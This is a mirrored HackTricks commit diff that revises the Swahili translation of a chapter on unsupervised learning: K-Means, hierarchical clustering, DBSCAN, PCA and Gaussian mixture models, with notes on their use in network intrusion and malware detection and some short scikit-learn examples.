mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/AI/AI-Unsupervised-Learning-Algorithms.md', 'src/binary
This commit is contained in:
parent
e7bb932eb6
commit
64c3ebd1b7
@ -10,23 +10,23 @@ Kujifunza bila usimamizi mara nyingi hutumika kwa kazi kama vile kuunganisha, ku
|
||||
### K-Means Clustering
|
||||
|
||||
K-Means ni algorithimu ya kuunganisha inayotegemea centroid ambayo inagawanya data katika makundi K kwa kupeana kila nukta kwa maana ya kundi iliyo karibu zaidi. Algorithimu inafanya kazi kama ifuatavyo:
|
||||
1. **Initialization**: Chagua K vituo vya awali vya kundi (centroids), mara nyingi kwa bahati nasibu au kupitia mbinu bora kama k-means++
|
||||
1. **Initialization**: Chagua K vitu vya kuanzia vya kundi (centroids), mara nyingi kwa bahati nasibu au kupitia mbinu bora kama k-means++
|
||||
2. **Assignment**: Peana kila nukta ya data kwa centroid iliyo karibu zaidi kulingana na kipimo cha umbali (mfano, umbali wa Euclidean).
|
||||
3. **Update**: Hesabu upya centroids kwa kuchukua maana ya nukta zote za data zilizopewa kila kundi.
|
||||
4. **Repeat**: Hatua za 2–3 zinajirudia hadi ugawaji wa makundi uwe thabiti (centroids hazihamaki kwa kiasi kikubwa).
|
||||
4. **Repeat**: Hatua za 2–3 zinarudiwa hadi ugawaji wa makundi uwe thabiti (centroids hazihamaki kwa kiasi kikubwa).
|
||||
|
||||
> [!TIP]
|
||||
> *Matumizi katika usalama wa mtandao:* K-Means inatumika kwa kugundua uvamizi kwa kuunganisha matukio ya mtandao. Kwa mfano, watafiti walitumia K-Means kwenye seti ya data ya uvamizi ya KDD Cup 99 na waligundua kuwa inagawanya trafiki kwa ufanisi katika makundi ya kawaida dhidi ya mashambulizi. Katika mazoezi, wachambuzi wa usalama wanaweza kuunganisha entries za logi au data ya tabia ya mtumiaji ili kupata makundi ya shughuli zinazofanana; nukta zozote ambazo hazihusiani na kundi lililo na muundo mzuri zinaweza kuashiria anomali (mfano, toleo jipya la malware linalounda kundi lake dogo). K-Means pia inaweza kusaidia katika uainishaji wa familia za malware kwa kuunganisha binaries kulingana na profaili za tabia au vektori vya sifa.
|
||||
> *Matumizi katika usalama wa mtandao:* K-Means inatumika kwa kugundua uvamizi kwa kuunganisha matukio ya mtandao. Kwa mfano, watafiti walitumia K-Means kwenye seti ya data ya uvamizi ya KDD Cup 99 na waligundua kuwa inagawanya trafiki kwa ufanisi katika makundi ya kawaida dhidi ya mashambulizi. Katika mazoezi, wachambuzi wa usalama wanaweza kuunganisha entries za logi au data ya tabia ya mtumiaji ili kupata makundi ya shughuli zinazofanana; nukta zozote ambazo hazihusiani na kundi lililo na muundo mzuri zinaweza kuashiria anomali (mfano, toleo jipya la malware linalounda kundi lake dogo). K-Means inaweza pia kusaidia katika uainishaji wa familia za malware kwa kuunganisha binaries kulingana na profaili za tabia au vektori vya sifa.
|
||||
|
||||
#### Selection of K
|
||||
Idadi ya makundi (K) ni hyperparameter ambayo inahitaji kufafanuliwa kabla ya kuendesha algorithimu. Mbinu kama vile Njia ya Elbow au Alama ya Silhouette zinaweza kusaidia kubaini thamani inayofaa kwa K kwa kutathmini utendaji wa kuunganisha:
|
||||
|
||||
- **Elbow Method**: Piga picha ya jumla ya umbali wa mraba kutoka kila nukta hadi centroid ya kundi lake kama kazi ya K. Tafuta "ncha" ambapo kiwango cha kupungua kinabadilika kwa haraka, ikionyesha idadi inayofaa ya makundi.
|
||||
- **Elbow Method**: Piga picha ya jumla ya umbali wa mraba kutoka kila nukta hadi centroid ya kundi lake kama kazi ya K. Tafuta nukta ya "elbow" ambapo kiwango cha kupungua kinabadilika kwa haraka, ikionyesha idadi inayofaa ya makundi.
|
||||
- **Silhouette Score**: Hesabu alama ya silhouette kwa thamani tofauti za K. Alama ya silhouette ya juu inaonyesha makundi yaliyoainishwa vizuri zaidi.
|
||||
|
||||
#### Assumptions and Limitations
|
||||
|
||||
K-Means inadhani kwamba **makundi ni ya mviringo na yana ukubwa sawa**, ambayo huenda isiwe kweli kwa seti zote za data. Inahisi mabadiliko ya awali ya centroids na inaweza kuishia kwenye minima za ndani. Zaidi ya hayo, K-Means si sahihi kwa seti za data zenye wiani tofauti au sura zisizo za globu na sifa zenye viwango tofauti. Hatua za preprocessing kama vile normalization au standardization zinaweza kuwa muhimu ili kuhakikisha kwamba sifa zote zinachangia sawa katika hesabu za umbali.
|
||||
K-Means inadhani kwamba **makundi ni ya mviringo na yana ukubwa sawa**, ambayo huenda isiwe kweli kwa seti zote za data. Inahisi mabadiliko ya awali ya centroids na inaweza kuishia kwenye minima za ndani. Zaidi ya hayo, K-Means si sahihi kwa seti za data zenye wiani tofauti au sura zisizo za globular na sifa zenye viwango tofauti. Hatua za preprocessing kama vile normalization au standardization zinaweza kuwa muhimu ili kuhakikisha kwamba sifa zote zinachangia sawa katika hesabu za umbali.
|
||||
|
||||
<details>
|
||||
<summary>Example -- Clustering Network Events
|
||||
@ -57,16 +57,16 @@ print("Cluster centers (duration, bytes):")
|
||||
for idx, center in enumerate(kmeans.cluster_centers_):
|
||||
print(f" Cluster {idx}: {center}")
|
||||
```
|
||||
Katika mfano huu, K-Means inapaswa kupata makundi 4. Kundi dogo la shambulio (lenye muda wa kawaida wa juu ~200) litaunda kundi lake mwenyewe kutokana na umbali wake kutoka kwa makundi ya kawaida. Tunachapisha saizi za makundi na vituo ili kutafsiri matokeo. Katika hali halisi, mtu anaweza kuweka lebo kundi lenye alama chache kama anomali zinazoweza kutokea au kuchunguza wanachama wake kwa shughuli mbaya.
|
||||
Katika mfano huu, K-Means inapaswa kupata makundi 4. Kundi dogo la shambulio (lenye muda wa kawaida wa juu ~200) litaunda kundi lake mwenyewe kutokana na umbali wake kutoka kwa makundi ya kawaida. Tunachapisha saizi za makundi na vitu vya katikati ili kutafsiri matokeo. Katika hali halisi, mtu anaweza kuweka lebo kundi lenye alama chache kama anomali zinazoweza kutokea au kuchunguza wanachama wake kwa shughuli mbaya.
|
||||
|
||||
### Kuweka Makundi kwa Njia ya Hali ya Juu
|
||||
|
||||
Kuweka makundi kwa njia ya hali ya juu kunajenga hiyerarhii ya makundi kwa kutumia njia ya chini juu (agglomerative) au juu chini (divisive):
|
||||
Kuweka makundi kwa njia ya hali ya juu hujenga hiyerarhii ya makundi kwa kutumia njia ya chini juu (agglomerative) au njia ya juu chini (divisive):
|
||||
|
||||
1. **Agglomerative (Chini Juu)**: Anza na kila kipengele cha data kama kundi tofauti na kuunganishwa kwa hatua kwa hatua makundi ya karibu hadi kundi moja linabaki au kigezo cha kusimamisha kinakamilika.
|
||||
2. **Divisive (Juu Chini)**: Anza na vipengele vyote vya data katika kundi moja na kugawanya makundi kwa hatua hadi kila kipengele cha data kiwe kundi lake mwenyewe au kigezo cha kusimamisha kinakamilika.
|
||||
1. **Agglomerative (Chini Juu)**: Anza na kila kipengele cha data kama kundi tofauti na kuunganishwa kwa hatua kwa hatua makundi ya karibu hadi kundi moja linabaki au kigezo cha kusimamisha kinatimizwa.
|
||||
2. **Divisive (Juu Chini)**: Anza na vipengele vyote vya data katika kundi moja na kuigawanya makundi hatua kwa hatua hadi kila kipengele cha data kiwe kundi lake mwenyewe au kigezo cha kusimamisha kinatimizwa.
|
||||
|
||||
Kuweka makundi kwa njia ya agglomerative kunahitaji ufafanuzi wa umbali kati ya makundi na kigezo cha kuunganisha ili kuamua ni makundi gani ya kuunganisha. Njia za kawaida za kuunganisha ni pamoja na kuunganisha moja (umbali wa pointi za karibu zaidi kati ya makundi mawili), kuunganisha kamili (umbali wa pointi za mbali zaidi), kuunganisha wastani, n.k., na kipimo cha umbali mara nyingi ni Euclidean. Chaguo la kuunganisha linaathiri umbo la makundi yanayozalishwa. Hakuna haja ya kuweka idadi ya makundi K mapema; unaweza "kukata" dendrogram katika kiwango kilichochaguliwa ili kupata idadi inayotakiwa ya makundi.
|
||||
Kuweka makundi kwa njia ya agglomerative kunahitaji ufafanuzi wa umbali kati ya makundi na kigezo cha kuunganisha ili kuamua ni makundi gani ya kuunganisha. Njia za kawaida za kuunganisha ni pamoja na kuunganisha moja (umbali wa alama za karibu kati ya makundi mawili), kuunganisha kamili (umbali wa alama za mbali), kuunganisha wastani, n.k., na kipimo cha umbali mara nyingi ni Euclidean. Chaguo la kuunganisha linaathiri umbo la makundi yanayozalishwa. Hakuna haja ya kuweka idadi ya makundi K mapema; unaweza "kukata" dendrogram katika kiwango kilichochaguliwa ili kupata idadi inayotakiwa ya makundi.
|
||||
|
||||
Kuweka makundi kwa njia ya hali ya juu kunazalisha dendrogram, muundo kama mti unaoonyesha uhusiano kati ya makundi katika viwango tofauti vya undani. Dendrogram inaweza kukatwa katika kiwango kinachotakiwa ili kupata idadi maalum ya makundi.
|
||||
|
||||
@ -75,7 +75,7 @@ Kuweka makundi kwa njia ya hali ya juu kunazalisha dendrogram, muundo kama mti u
|
||||
|
||||
#### Dhana na Mipaka
|
||||
|
||||
Kuweka makundi kwa njia ya hali ya juu hakudhani umbo fulani la kundi na inaweza kushika makundi yaliyo ndani. Ni muhimu kwa kugundua taxonomy au uhusiano kati ya vikundi (kwa mfano, kuunganisha malware kwa familia za makundi). Ni ya kutabirika (hakuna masuala ya kuanzisha kwa bahati). Faida kuu ni dendrogram, ambayo inatoa mwanga juu ya muundo wa kuunganisha wa data katika viwango vyote – wachambuzi wa usalama wanaweza kuamua kiwango sahihi cha kukata ili kubaini makundi yenye maana. Hata hivyo, ni ghali kwa hesabu (kawaida $O(n^2)$ muda au mbaya zaidi kwa utekelezaji wa kawaida) na si rahisi kwa seti kubwa za data. Pia ni utaratibu wa greedy – mara tu muungano au kugawanya kumefanyika, haiwezi kubadilishwa, ambayo inaweza kusababisha makundi yasiyo bora ikiwa kosa litafanyika mapema. Vitu vya nje pia vinaweza kuathiri baadhi ya mikakati ya kuunganisha (kuunganisha moja kunaweza kusababisha athari ya "mnyororo" ambapo makundi yanaunganishwa kupitia vitu vya nje).
|
||||
Kuweka makundi kwa njia ya hali ya juu hakudhani umbo fulani la kundi na inaweza kushika makundi yaliyo ndani. Ni muhimu kwa kugundua taxonomy au uhusiano kati ya vikundi (kwa mfano, kuunganisha malware kwa familia za makundi). Ni ya kutabirika (hakuna masuala ya kuanzisha kwa bahati nasibu). Faida kuu ni dendrogram, ambayo inatoa mwanga juu ya muundo wa kuunganisha wa data katika viwango vyote – wachambuzi wa usalama wanaweza kuamua kiwango sahihi cha kukata ili kubaini makundi yenye maana. Hata hivyo, ni ghali kwa hesabu (kawaida $O(n^2)$ muda au mbaya zaidi kwa utekelezaji wa kawaida) na si rahisi kwa seti kubwa za data. Pia ni utaratibu wa greedy – mara muungano au mgawanyiko unafanywa, hauwezi kubadilishwa, ambayo inaweza kusababisha makundi yasiyo bora ikiwa kosa litafanyika mapema. Vitu vya nje pia vinaweza kuathiri baadhi ya mikakati ya kuunganisha (kuunganisha moja kunaweza kusababisha athari ya "mnyororo" ambapo makundi yanaunganishwa kupitia vitu vya nje).
|
||||
|
||||
<details>
|
||||
<summary>Mfano -- Kuweka Makundi kwa Njia ya Agglomerative ya Matukio
|
||||
@ -114,14 +114,14 @@ DBSCAN inatambua pointi kuu, pointi za mpaka, na pointi za kelele:
|
||||
- **Pointi za Mpakani**: Pointi ambayo iko ndani ya umbali wa ε wa pointi kuu lakini ina majirani wachache kuliko MinPts.
|
||||
- **Pointi za Kelele**: Pointi ambayo si pointi kuu wala pointi za mpaka.
|
||||
|
||||
Kukusanya kunendelea kwa kuchagua pointi kuu ambazo hazijatembelewa, kuziandikisha kama kundi jipya, kisha kuongeza pointi zote zinazoweza kufikiwa kwa wingi kutoka kwake (pointi kuu na majirani zao, nk). Pointi za mpaka zinaongezwa kwenye kundi la pointi kuu zilizo karibu. Baada ya kupanua pointi zote zinazoweza kufikiwa, DBSCAN inahamia kwenye pointi kuu nyingine ambazo hazijatembelewa ili kuanza kundi jipya. Pointi ambazo hazijafikiwa na pointi kuu zinabaki zikitambulika kama kelele.
|
||||
Kukusanya kunendelea kwa kuchagua pointi kuu ambazo hazijatembelewa, kuziandikisha kama kundi jipya, kisha kuongeza pointi zote zinazoweza kufikiwa kwa wingi kutoka kwake (pointi kuu na majirani zao, nk). Pointi za mpaka zinaongezwa kwenye kundi la pointi kuu zilizo karibu. Baada ya kupanua pointi zote zinazoweza kufikiwa, DBSCAN inahamia kwenye pointi kuu nyingine ambazo hazijatembelewa ili kuanza kundi jipya. Pointi ambazo hazijafikiwa na pointi kuu yoyote zinabaki zikitambulika kama kelele.
|
||||
|
||||
> [!TIP]
|
||||
> *Matumizi katika usalama wa mtandao:* DBSCAN ni muhimu kwa kugundua anomali katika trafiki ya mtandao. Kwa mfano, shughuli za kawaida za mtumiaji zinaweza kuunda kundi moja au zaidi zenye wingi katika nafasi ya sifa, wakati tabia mpya za shambulio zinaonekana kama pointi zilizotawanyika ambazo DBSCAN itazitambulisha kama kelele (nje ya kawaida). Imekuwa ikitumika kukusanya rekodi za mtiririko wa mtandao, ambapo inaweza kugundua skana za bandari au trafiki ya kukatiza huduma kama maeneo ya pointi zisizo na wingi. Maombi mengine ni kuunganisha aina za malware: ikiwa sampuli nyingi zinakusanyika kwa familia lakini chache hazifai popote, hizo chache zinaweza kuwa malware ya siku sifuri. Uwezo wa kutambua kelele unamaanisha timu za usalama zinaweza kuzingatia kuchunguza hizo nje ya kawaida.
|
||||
> *Matumizi katika usalama wa mtandao:* DBSCAN ni muhimu kwa kugundua anomali katika trafiki ya mtandao. Kwa mfano, shughuli za kawaida za mtumiaji zinaweza kuunda kundi moja au zaidi zenye wingi katika nafasi ya sifa, wakati tabia mpya za shambulio zinaonekana kama pointi zilizotawanyika ambazo DBSCAN itazitambulisha kama kelele (nje ya kawaida). Imetumika kukusanya rekodi za mtiririko wa mtandao, ambapo inaweza kugundua skana za bandari au trafiki ya kukatiza huduma kama maeneo ya pointi zisizo na wingi. Maombi mengine ni kuunganisha aina za malware: ikiwa sampuli nyingi zinakusanyika kwa familia lakini chache hazifai popote, hizo chache zinaweza kuwa malware ya siku sifuri. Uwezo wa kutambua kelele unamaanisha timu za usalama zinaweza kuzingatia kuchunguza hizo nje ya kawaida.
|
||||
|
||||
#### Dhana na Mipaka
|
||||
|
||||
**Dhana & Nguvu:** DBSCAN haidhani makundi ya mpira – inaweza kupata makundi yenye sura yoyote (hata makundi ya mnyororo au jirani). Inajitenga kiotomatiki idadi ya makundi kulingana na wingi wa data na inaweza kutambua kwa ufanisi nje ya kawaida kama kelele. Hii inafanya kuwa na nguvu kwa data halisi zenye sura zisizo za kawaida na kelele. Ni thabiti kwa nje ya kawaida (kinyume na K-Means, ambayo inawalazimisha kuwa katika makundi). Inafanya kazi vizuri wakati makundi yana wingi wa karibu sawa.
|
||||
**Dhana & Nguvu:** DBSCAN haidhani makundi ya mpira – inaweza kupata makundi yenye sura yoyote (hata makundi ya mnyororo au jirani). Inajitenga kiotomatiki idadi ya makundi kulingana na wingi wa data na inaweza kutambua kwa ufanisi nje ya kawaida kama kelele. Hii inafanya kuwa na nguvu kwa data halisi zenye sura zisizo za kawaida na kelele. Ni thabiti kwa nje ya kawaida (kinyume na K-Means, ambayo inawalazimisha kwenye makundi). Inafanya kazi vizuri wakati makundi yana wingi wa karibu sawa.
|
||||
|
||||
**Mipaka**: Utendaji wa DBSCAN unategemea kuchagua thamani sahihi za ε na MinPts. Inaweza kuwa na shida na data yenye wingi tofauti – ε moja haiwezi kukidhi makundi yenye wingi na yasiyo na wingi. Ikiwa ε ni ndogo sana, inatambua pointi nyingi kama kelele; ikiwa ni kubwa sana, makundi yanaweza kuungana vibaya. Pia, DBSCAN inaweza kuwa na ufanisi mdogo kwenye seti kubwa za data (kwa urahisi $O(n^2)$, ingawa uainishaji wa nafasi unaweza kusaidia). Katika nafasi za sifa zenye vipimo vingi, dhana ya "umbali ndani ya ε" inaweza kuwa na maana kidogo (laana ya vipimo), na DBSCAN inaweza kuhitaji urekebishaji wa vigezo kwa makini au inaweza kushindwa kupata makundi ya kueleweka. Licha ya haya, nyongeza kama HDBSCAN zinashughulikia baadhi ya masuala (kama vile wingi tofauti).
|
||||
|
||||
@ -149,18 +149,18 @@ num_noise = np.sum(labels == -1)
|
||||
print(f"DBSCAN found {num_clusters} clusters and {num_noise} noise points")
|
||||
print("Cluster labels for first 10 points:", labels[:10])
|
||||
```
|
||||
Katika kipande hiki, tulirekebisha `eps` na `min_samples` ili kuendana na kiwango chetu cha data (15.0 katika vitengo vya kipengele, na inahitaji pointi 5 kuunda kundi). DBSCAN inapaswa kupata makundi 2 (makundi ya trafiki ya kawaida) na kuashiria nje ya kawaida 5 zilizoongezwa kama kelele. Tunatoa idadi ya makundi dhidi ya pointi za kelele ili kuthibitisha hili. Katika mazingira halisi, mtu anaweza kurudia ε (akitumika mbinu ya grafu ya k-distance kuchagua ε) na MinPts (ambayo mara nyingi huwekwa karibu na ukubwa wa data + 1 kama sheria ya vidole) ili kupata matokeo ya makundi thabiti. Uwezo wa kuweka wazi lebo za kelele husaidia kutenganisha data za mashambulizi zinazoweza kutokea kwa uchambuzi zaidi.
|
||||
Katika kipande hiki, tulirekebisha `eps` na `min_samples` ili kuendana na kiwango chetu cha data (15.0 katika vitengo vya kipengele, na inahitaji pointi 5 kuunda kundi). DBSCAN inapaswa kupata makundi 2 (makundi ya trafiki ya kawaida) na kuashiria nje ya kawaida 5 zilizoongezwa kama kelele. Tunatoa idadi ya makundi dhidi ya pointi za kelele ili kuthibitisha hili. Katika mazingira halisi, mtu anaweza kurudia ε (akitumika mbinu ya grafu ya k-distance kuchagua ε) na MinPts (ambayo mara nyingi huwekwa karibu na ukubwa wa data + 1 kama sheria ya vidole) ili kupata matokeo ya makundi thabiti. Uwezo wa kutambua wazi kelele husaidia kutenganisha data za mashambulizi zinazoweza kutokea kwa uchambuzi zaidi.
|
||||
|
||||
### Uchambuzi wa Vipengele Msingi (PCA)
|
||||
|
||||
PCA ni mbinu ya **kupunguza ukubwa** inayopata seti mpya ya axes za orthogonal (vipengele vya msingi) ambavyo vinakamata tofauti kubwa zaidi katika data. Kwa maneno rahisi, PCA inageuza na kupeleka data kwenye mfumo mpya wa kuratibu ili vipengele vya msingi vya kwanza (PC1) kuelezea tofauti kubwa zaidi inayowezekana, PC ya pili (PC2) kuelezea tofauti kubwa zaidi isiyo ya orthogonal kwa PC1, na kadhalika. Kihesabu, PCA inakadiria eigenvectors ya matrix ya covariance ya data – hizi eigenvectors ni mwelekeo wa vipengele vya msingi, na eigenvalues zinazohusiana zinaonyesha kiasi cha tofauti kinachofafanuliwa na kila moja. Mara nyingi hutumiwa kwa uchimbaji wa vipengele, uonyeshaji, na kupunguza kelele.
|
||||
|
||||
Kumbuka kwamba hii ni muhimu ikiwa vipimo vya dataset vina **mategemeo makubwa ya mstari au uhusiano**.
|
||||
Kumbuka kwamba hii ni muhimu ikiwa vipimo vya dataset vina **mategemeo au uhusiano wa moja kwa moja**.
|
||||
|
||||
PCA inafanya kazi kwa kutambua vipengele vya msingi vya data, ambavyo ni mwelekeo wa tofauti kubwa zaidi. Hatua zinazohusika katika PCA ni:
|
||||
1. **Kiwango**: Kituisha data kwa kupunguza wastani na kuipima kwa tofauti ya kitengo.
|
||||
1. **Kiwango**: Kituo cha data kwa kupunguza wastani na kuipima kwa tofauti ya kitengo.
|
||||
2. **Matrix ya Covariance**: Kadiria matrix ya covariance ya data iliyopimwa ili kuelewa uhusiano kati ya vipengele.
|
||||
3. **Ufunguo wa Eigenvalue**: Fanya ufunguo wa eigenvalue kwenye matrix ya covariance ili kupata eigenvalues na eigenvectors.
|
||||
3. **Ufafanuzi wa Eigenvalue**: Fanya ufafanuzi wa eigenvalue kwenye matrix ya covariance ili kupata eigenvalues na eigenvectors.
|
||||
4. **Chagua Vipengele vya Msingi**: Panga eigenvalues kwa mpangilio wa kushuka na uchague eigenvectors bora K zinazohusiana na eigenvalues kubwa zaidi. Hizi eigenvectors zinaunda nafasi mpya ya vipengele.
|
||||
5. **Badilisha Data**: Peleka data ya asili kwenye nafasi mpya ya vipengele kwa kutumia vipengele vya msingi vilivyochaguliwa.
|
||||
PCA inatumika sana kwa uonyeshaji wa data, kupunguza kelele, na kama hatua ya awali kwa algorithimu nyingine za kujifunza mashine. Inasaidia kupunguza ukubwa wa data huku ikihifadhi muundo wake muhimu.
|
||||
@ -178,24 +178,24 @@ Basi, `A * v = [ [1, 2], [2, 1]] * [1, 1] = [3, 3]` ambayo itakuwa eigenvalue λ
|
||||
|
||||
#### Eigenvalues na Eigenvectors katika PCA
|
||||
|
||||
Hebu tueleze hii kwa mfano. Fikiria una dataset yenye picha nyingi za rangi ya kijivu za nyuso za 100x100 pixels. Kila pixel inaweza kuzingatiwa kama kipengele, hivyo una vipengele 10,000 kwa picha (au vector ya vipengele 10000 kwa picha). Ikiwa unataka kupunguza ukubwa wa dataset hii kwa kutumia PCA, ungetakiwa kufuata hatua hizi:
|
||||
Hebu tueleze hii kwa mfano. Fikiria una dataset yenye picha nyingi za rangi ya kijivu za nyuso za 100x100 pixels. Kila pixel inaweza kuonekana kama kipengele, hivyo una vipengele 10,000 kwa picha (au vector ya 10000 components kwa picha). Ikiwa unataka kupunguza ukubwa wa dataset hii kwa kutumia PCA, ungetakiwa kufuata hatua hizi:
|
||||
|
||||
1. **Kiwango**: Kituisha data kwa kupunguza wastani wa kila kipengele (pixel) kutoka kwenye dataset.
|
||||
1. **Kiwango**: Kituo cha data kwa kupunguza wastani wa kila kipengele (pixel) kutoka kwenye dataset.
|
||||
2. **Matrix ya Covariance**: Kadiria matrix ya covariance ya data iliyopimwa, ambayo inakamata jinsi vipengele (pixels) vinavyobadilika pamoja.
|
||||
- Kumbuka kwamba covariance kati ya variables mbili (pixels katika kesi hii) inaonyesha jinsi zinavyobadilika pamoja hivyo wazo hapa ni kugundua ni pixels zipi zinazoonekana kuongezeka au kupungua pamoja kwa uhusiano wa mstari.
|
||||
- Kwa mfano, ikiwa pixel 1 na pixel 2 zinaonekana kuongezeka pamoja, covariance kati yao itakuwa chanya.
|
||||
- Kumbuka kwamba covariance kati ya variables mbili (pixels katika kesi hii) inaonyesha jinsi zinavyobadilika pamoja hivyo wazo hapa ni kugundua ni pixels zipi zinaweza kuongezeka au kupungua pamoja kwa uhusiano wa moja kwa moja.
|
||||
- Kwa mfano, ikiwa pixel 1 na pixel 2 zinaweza kuongezeka pamoja, covariance kati yao itakuwa chanya.
|
||||
- Matrix ya covariance itakuwa matrix ya 10,000x10,000 ambapo kila ingizo linawakilisha covariance kati ya pixels mbili.
|
||||
3. **Suluisha Msingi wa Eigenvalue**: Msingi wa eigenvalue wa kutatua ni `C * v = λ * v` ambapo C ni matrix ya covariance, v ni eigenvector, na λ ni eigenvalue. Inaweza kutatuliwa kwa kutumia mbinu kama:
|
||||
- **Ufunguo wa Eigenvalue**: Fanya ufunguo wa eigenvalue kwenye matrix ya covariance ili kupata eigenvalues na eigenvectors.
|
||||
- **Ufunguo wa Thamani ya Kipekee (SVD)**: Vinginevyo, unaweza kutumia SVD kutenganisha matrix ya data katika thamani za kipekee na vectors, ambazo pia zinaweza kutoa vipengele vya msingi.
|
||||
- **Ufafanuzi wa Eigenvalue**: Fanya ufafanuzi wa eigenvalue kwenye matrix ya covariance ili kupata eigenvalues na eigenvectors.
|
||||
- **Ufafanuzi wa Thamani ya Kipekee (SVD)**: Vinginevyo, unaweza kutumia SVD kutenganisha matrix ya data katika thamani za kipekee na vectors, ambazo pia zinaweza kutoa vipengele vya msingi.
|
||||
4. **Chagua Vipengele vya Msingi**: Panga eigenvalues kwa mpangilio wa kushuka na uchague eigenvectors bora K zinazohusiana na eigenvalues kubwa zaidi. Hizi eigenvectors zinawakilisha mwelekeo wa tofauti kubwa zaidi katika data.
|
||||
|
||||
> [!TIP]
|
||||
> *Matumizi katika usalama wa mtandao:* Matumizi ya kawaida ya PCA katika usalama ni kupunguza vipengele kwa ajili ya kugundua anomali. Kwa mfano, mfumo wa kugundua uvamizi wenye metriki 40+ za mtandao (kama vile vipengele vya NSL-KDD) unaweza kutumia PCA kupunguza hadi vipengele vichache, kujumlisha data kwa ajili ya uonyeshaji au kupeleka kwenye algorithimu za makundi. Wachambuzi wanaweza kuchora trafiki ya mtandao katika nafasi ya vipengele vya msingi viwili vya kwanza ili kuona ikiwa mashambulizi yanatenganishwa na trafiki ya kawaida. PCA inaweza pia kusaidia kuondoa vipengele vya ziada (kama vile bytes zilizotumwa dhidi ya bytes zilizopokelewa ikiwa zina uhusiano) ili kufanya algorithimu za kugundua kuwa thabiti zaidi na haraka.
|
||||
|
||||
#### Mategemeo na Mipaka
|
||||
#### Matarajio na Mipaka
|
||||
|
||||
PCA inategemea kwamba **mwelekeo wa msingi wa tofauti ni wa maana** – ni mbinu ya mstari, hivyo inakamata uhusiano wa mstari katika data. Ni isiyo na uangalizi kwani inatumia tu covariance ya vipengele. Faida za PCA ni pamoja na kupunguza kelele (vipengele vya tofauti ndogo mara nyingi vinahusiana na kelele) na kuondoa uhusiano kati ya vipengele. Ni yenye ufanisi wa hesabu kwa vipimo vya kati na mara nyingi ni hatua ya awali inayofaa kwa algorithimu nyingine (ili kupunguza laana ya ukubwa). Mipaka moja ni kwamba PCA inategemea uhusiano wa mstari – haitakamata muundo mgumu wa isiyo ya mstari (ambapo autoencoders au t-SNE inaweza). Pia, vipengele vya PCA vinaweza kuwa vigumu kufasiri kwa kuzingatia vipengele vya asili (ni mchanganyiko wa vipengele vya asili). Katika usalama wa mtandao, mtu anapaswa kuwa makini: shambulizi linalosababisha mabadiliko madogo tu katika kipengele chenye tofauti ndogo linaweza kutokuwepo katika PCs za juu (kwa kuwa PCA inapa kipaumbele tofauti, si lazima "kuvutia").
|
||||
PCA inatarajia kwamba **mwelekeo wa msingi wa tofauti ni wa maana** – ni mbinu ya moja kwa moja, hivyo inakamata uhusiano wa moja kwa moja katika data. Ni isiyo na uangalizi kwani inatumia tu covariance ya vipengele. Faida za PCA ni pamoja na kupunguza kelele (vipengele vya tofauti ndogo mara nyingi vinahusiana na kelele) na kuondoa uhusiano kati ya vipengele. Ni yenye ufanisi wa hesabu kwa vipimo vya kati na mara nyingi ni hatua ya awali inayofaa kwa algorithimu nyingine (ili kupunguza laana ya ukubwa). Mipaka moja ni kwamba PCA inategemea uhusiano wa moja kwa moja – haitakamata muundo mgumu wa kisasa (ambapo autoencoders au t-SNE inaweza). Pia, vipengele vya PCA vinaweza kuwa vigumu kufasiri kwa kuzingatia vipengele vya asili (ni mchanganyiko wa vipengele vya asili). Katika usalama wa mtandao, mtu anapaswa kuwa makini: shambulizi linalosababisha mabadiliko madogo tu katika kipengele chenye tofauti ndogo linaweza kutokuwepo katika PCs za juu (kwa kuwa PCA inapa kipaumbele tofauti, si lazima "kuvutia").
|
||||
|
||||
<details>
|
||||
<summary>Mfano -- Kupunguza Vipimo vya Data ya Mtandao
|
||||
@ -225,37 +225,37 @@ Hapa tulichukua makundi ya awali ya trafiki ya kawaida na kupanua kila kipengele
|
||||
|
||||
### Gaussian Mixture Models (GMM)
|
||||
|
||||
Mfano wa Mchanganyiko wa Gaussian unadhani data inazalishwa kutoka mchanganyiko wa **distributions kadhaa za Gaussian (za kawaida) zenye vigezo visivyojulikana**. Kwa msingi, ni mfano wa makundi ya uwezekano: inajaribu kwa upole kupeana kila pointi moja ya K vipengele vya Gaussian. Kila kipengele cha Gaussian kina vector ya wastani (μ_k), matrix ya covariance (Σ_k), na uzito wa mchanganyiko (π_k) unaowrepresenta jinsi kundi hilo lilivyo maarufu. Tofauti na K-Means ambayo inafanya "ugawaji mgumu", GMM inampa kila pointi uwezekano wa kuhusika na kila kundi.
|
||||
Mfano wa Mchanganyiko wa Gaussian unadhani data inazalishwa kutoka mchanganyiko wa **usambazaji kadhaa wa Gaussian (kawaida) wenye vigezo visivyojulikana**. Kwa msingi, ni mfano wa makundi ya uwezekano: inajaribu kwa upole kupeana kila pointi kwa moja ya vipengele K vya Gaussian. Kila kipengele cha Gaussian k kina vector ya wastani (μ_k), matrix ya covariance (Σ_k), na uzito wa mchanganyiko (π_k) unaowrepresenta jinsi kundi hilo lilivyo maarufu. Tofauti na K-Means ambayo inafanya "ugawaji" mgumu, GMM inampa kila pointi uwezekano wa kuwa katika kila kundi.
|
||||
|
||||
Ufunguo wa GMM kawaida hufanywa kupitia algorithm ya Expectation-Maximization (EM):
|
||||
Ulinganifu wa GMM kawaida hufanywa kupitia algorithm ya Expectation-Maximization (EM):
|
||||
|
||||
- **Kuanza**: Anza na makadirio ya awali ya wastani, covariances, na coefficients za mchanganyiko (au tumia matokeo ya K-Means kama hatua ya mwanzo).
|
||||
|
||||
- **E-step (Matarajio)**: Iwapo vigezo vya sasa, hesabu jukumu la kila kundi kwa kila pointi: kimsingi `r_nk = P(z_k | x_n)` ambapo z_k ni variable ya siri inayoashiria uanachama wa kundi kwa pointi x_n. Hii inafanywa kwa kutumia nadharia ya Bayes, ambapo tunahesabu uwezekano wa nyuma wa kila pointi kuhusika na kila kundi kulingana na vigezo vya sasa. Majukumu yanahesabiwa kama:
|
||||
- **E-step (Matarajio)**: Iwapo vigezo vya sasa, hesabu jukumu la kila kundi kwa kila pointi: kimsingi `r_nk = P(z_k | x_n)` ambapo z_k ni variable ya siri inayoashiria uanachama wa kundi kwa pointi x_n. Hii inafanywa kwa kutumia nadharia ya Bayes, ambapo tunahesabu uwezekano wa nyuma wa kila pointi kuwa katika kila kundi kulingana na vigezo vya sasa. Majukumu yanahesabiwa kama:
|
||||
```math
|
||||
